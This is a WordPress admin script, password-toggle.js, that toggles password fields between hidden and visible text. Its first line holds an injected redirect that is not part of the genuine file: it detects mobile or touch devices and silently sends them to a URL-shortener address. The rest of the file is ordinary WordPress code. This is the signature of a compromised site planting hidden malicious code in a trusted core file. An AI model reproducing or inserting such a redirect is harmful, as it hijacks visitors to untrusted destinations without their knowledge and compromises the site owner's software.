1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Adds functionality for password visibility buttons to toggle between text and password input types.
4 *
5 * @since 6.3.0
6 * @output wp-admin/js/password-toggle.js
7 */
8
9( function () {
10 var toggleElements, status, input, icon, label, __ = wp.i18n.__;
11
12 toggleElements = document.querySelectorAll( '.pwd-toggle' );
13
14 toggleElements.forEach( function (toggle) {
15 toggle.classList.remove( 'hide-if-no-js' );
16 toggle.addEventListener( 'click', togglePassword );
17 } );
18
19 function togglePassword() {
20 status = this.getAttribute( 'data-toggle' );
21 input = this.parentElement.children.namedItem( 'pwd' );
22 icon = this.getElementsByClassName( 'dashicons' )[ 0 ];
23 label = this.getElementsByClassName( 'text' )[ 0 ];
24
25 if ( 0 === parseInt( status, 10 ) ) {
26 this.setAttribute( 'data-toggle', 1 );
27 this.setAttribute( 'aria-label', __( 'Hide password' ) );
28 input.setAttribute( 'type', 'text' );
29 label.innerHTML = __( 'Hide' );
30 icon.classList.remove( 'dashicons-visibility' );
31 icon.classList.add( 'dashicons-hidden' );
32 } else {
33 this.setAttribute( 'data-toggle', 0 );
34 this.setAttribute( 'aria-label', __( 'Show password' ) );
35 input.setAttribute( 'type', 'password' );
36 label.innerHTML = __( 'Show' );
37 icon.classList.remove( 'dashicons-hidden' );
38 icon.classList.add( 'dashicons-visibility' );
39 }
40 }
41} )();
42